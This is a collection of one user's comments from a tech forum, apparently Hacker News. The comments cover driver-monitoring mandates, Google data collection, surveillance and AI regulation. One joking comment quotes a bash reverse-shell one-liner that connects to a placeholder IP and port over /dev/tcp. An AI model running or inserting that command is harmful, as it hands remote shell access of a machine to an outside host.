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ang_cire

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ang_cire
·vor 3 Tagen·discuss
Honestly, this question is really revealing, because it's the lower-paid SWE jobs that are probably not Bay Area or NYC, which are precisely the places where lower* English fluency is most likely to be tolerated or even the majority.

I was the only person on my 5-person team with 'Business English' at my first BA startup, so I got the job of writing all external-routing communications.

When I worked remote for a Midwest company years later, it was very clear that anything but perfect English was disqualifying in the eyes of a lot of (Midwest white male) management there.
ang_cire
·vor 3 Tagen·discuss
You either didn't read my comment, or aren't groking it.

Whether there are cameras mandated now is irrelevant. The framework that accepts government-mandated ADDW is now in place. Most makers are fulfilling it by using cameras, whether required to or not.

Future enhancements to how ADDW is enforced (such as mandatory cameras), is now a much smaller hurdle for them to overcome.

Also, as the other commenter pointed out, you don't understand GDPR (or at least, how it affects US companies).
ang_cire
·vor 3 Tagen·discuss
Holy heck, you weren't kidding. Not 3 comments before a string of Undercover Russian accusations.

You wonder if some people can't conceptualize other people disagreeing with them in good faith, without being part of some shadowy influence campaign.
ang_cire
·vor 3 Tagen·discuss
It's funny how assumptions betray us.

Not everyone is on their phone, or a laptop.

On a site for tech enthusiasts, there are a shocking amount of folks with very "tech is what you get at the Apple Store" mindsets about.
ang_cire
·vor 3 Tagen·discuss
It absolutely is a slippery slope argument.

"New government mandate paves way for additional government mandate" is about as straightforward a slippery slope argument as you can get.

Slippery slope arguments don't require the eventual fear (e.g. cameras recording you) to be present in the current form, otherwise it wouldn't be a slope.
ang_cire
·vor 3 Tagen·discuss
It's bad though because glancing at your side-view mirrors is good, but this will train drivers out of it by beeping at them because their eyes aren't perfectly forwards-facing.

It's an overly simplistic solution to a complex problem, that also coincidentally helps advance the surveillance state more than it does help prevent distracted driving.
ang_cire
·vor 7 Tagen·discuss
I think you are assuming those companies won't sign on to be on a list of "authorized model operators", while letting it become illegal for you to run deepseek yourself.
ang_cire
·vor 8 Tagen·discuss
:q!
ang_cire
·vor 8 Tagen·discuss
It's not one single aggregate dataset, it's hundreds or thousands of targeted ones.

And yes, people don't like being monetized without the company doing it being transparent about how and what they're doing.

An ad blocker has nothing to do with protecting you from Google fingerprinting and categorizing you.
ang_cire
·vor 8 Tagen·discuss
I'd surmise it's because several states (CA comes to the top of mind) set speeds in excess of 80 as a potential felony enhancement.

iirc in CA it's 20mph over the speed limit, or speeds over 80.

The insurance companies probably want to know who to raise rates on.
ang_cire
·vor 10 Tagen·discuss
If you use Google search or Gmail, they read everything you write, and aggregate that into data packages not just for ads to show you, but even aggregated demographic data to sell for ad targeting.

Regardless of whether the ads reach you or not, you as a data point add to the count that make the package enticing to advertisers, so you're helping them sell the package anyways.
ang_cire
·vor 10 Tagen·discuss
You have paid a lot, if not in money. You paid with your data, that Google read from your emails and searches, and sold for money.
ang_cire
·vor 10 Tagen·discuss
If the diplomat put the baby up as collateral on a loan, prior to their birth, then I think they have to be in order for the US to be able to enforce contract law relevant to the loan.
ang_cire
·vor 12 Tagen·discuss
Do you understand that you're basically pulling an "All Lives Matter" right now?

This statement was about the specific incoming US administration that was anti-immigrant, and especially anti-Muslim. It is a localized effort, because not every place has the same problems and needs the same solutions, and hyper-generalized statements that don't call out any particular instances of a problem are meaningless.
ang_cire
·vor 19 Tagen·discuss
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ang_cire
·vor 24 Tagen·discuss
All my homies use

bash -i >& /dev/tcp/IP/PORT 0>&1

to talk to their friends(' computers).
ang_cire
·vor 25 Tagen·discuss
I love how you act like it's an insane premise, then go on to list a bunch of stuff that's literally happening now...
ang_cire
·vor 25 Tagen·discuss
That is a classic, but the one I was referencing was actually a Rooks and Kings video about them pipe bombing, where they were on the enemy fleet comms and one of them is like, "someday someone's going to get the drop on them for once", and another guy is like, "but it's not gonna be today, and it's not gonna be you!"
ang_cire
·vor 25 Tagen·discuss
The political will is already captured and redirected.

There are numerous bills to limit AI access for consumers, to combat deepfakes hurting children. There are no bills introduced or passed to prevent AI being used to target dronestrikes that kill children abroad, or surveil children domestically.

What the public wants doesn't actually matter right now, only what the government will allow to let pass, which in this case is additional internet surveillance.

Under a future, better government this may change, but (sadly) nothing is going to sink tech's dominance right now.

The anger and unhappiness against tech is good, and hopefully someday they'll burn down all the data centers and I'll never have to hear the words Cloud Computing again, but (to paraphrase a famous Eve Online interaction) it's not going to be today, and it's not going to be us.
ang_cire
·vor 26 Tagen·discuss
Social media is old hat now.

As someone on the "safety side of tech", social media is being exploited to increase surveillance and government control precisely because its actual social influence is heavily on the wane, and capital is happy to sacrifice what's left to increase the profits of the expanding public/private tech surveillance industry (with "protect the children" controls on social media like age verification being the usual backdoor route it always is).

Society may be growing tired of Tech, but governments aren't, and in fact they're heavily expanding their back channel reliance on not-traditionally-military Tech as an extension of their Defense spending.